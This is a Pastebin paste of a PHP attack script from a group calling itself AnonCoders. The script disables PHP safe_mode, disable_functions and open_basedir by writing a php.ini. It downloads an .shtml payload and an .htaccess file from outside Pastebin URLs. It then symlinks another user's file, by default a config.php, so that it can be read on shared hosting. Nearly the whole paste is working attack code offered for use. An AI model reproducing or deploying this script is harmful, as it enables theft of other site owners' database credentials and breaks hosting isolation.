Advertisement
AnonCoders_Team

Shtml Bypass Symlink Via Error By AnonCoders [PHP]

Jul 8th, 2015
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. <head>
  2. <title>Bypass Symlink 2014</title><link rel="shortcut icon" href="http://s23.postimg.org/z2jxcild7/Screenshot_0.jpg" type="image/x-icon" />
  3. </head>
  4.  
  5. <?php
  6.  
  7. // Extract php.ini //
  8.  
  9. $fp = fopen("php.ini","w+");
  10. fwrite($fp,"Safe_mode = OFF
  11. Safe_mode_gid = OFF
  12. Disable_Functions = NONE
  13. Open_basedir = OFF");
  14.  
  15.  
  16.  
  17. echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:red;>Shtml Bypass Symlink Via Error By AnonCoders</b></b><br><p align="center">';
  18. echo'
  19. <form method="post">
  20. <input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
  21. <input type="text" name="acfile" value="anoncoders.txt" size="60"/><br /><br />
  22. <input type="submit" value="Bypass" name="symlink" /> <br /><br />
  23.  
  24.  
  25.  
  26.  
  27.  
  28. </form>
  29. ';
  30. echo '<div class="tul"><b>PHP VERSION:</b> <font color="blue" face="Arial Black, Geneva, sans-serif" style="font-size: 10pt">';echo phpversion();
  31.  
  32. $fichier = $_POST['file'];
  33. $acfile = $_POST['acfile'];
  34. $symlink = $_POST['symlink'];
  35.  
  36. if ($symlink)
  37. {
  38.  
  39.  
  40. $dir = "shtml";
  41. if(file_exists($dir)) {
  42. echo "<br><font color='red'> shtml Folder Already Exist </font><br />
  43. ";
  44. } else {
  45. @mkdir($dir); {
  46. echo "<br><font color='green'>shtml Folder Created <3</font><br />
  47. ";
  48. echo "<br><font color='gold'> $acfile Retrieved Successfully</font><br />
  49. ";
  50.  
  51. } }
  52.  
  53. // Extract Priv8 shtml File //
  54.  
  55. $priv9 = file_get_contents('http://pastebin.com/raw.php?i=PuL2pH0R');
  56. $f =@fopen ('shtml/ac.shtml','w');
  57. @fwrite($f , $priv9);
  58.  
  59. $homepage = file_get_contents('http://pastebin.com/raw.php?i=qFxapjVY');
  60. $f =@fopen ('shtml/.htaccess','w');
  61. @fwrite($f , $homepage);
  62.  
  63.  
  64. @symlink("$fichier","shtml/$acfile");
  65.  
  66. echo '<br /><a target="_blank" href="shtml/" >'.$acfile.'</a>';
  67.  
  68. }
  69. echo"<h3>
  70. We Are: Unknown Al / Black Worm / DarkShadow TN / Dr.T3rr0r / Gunz_Berry </h3>
  71. ";
  72.  
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement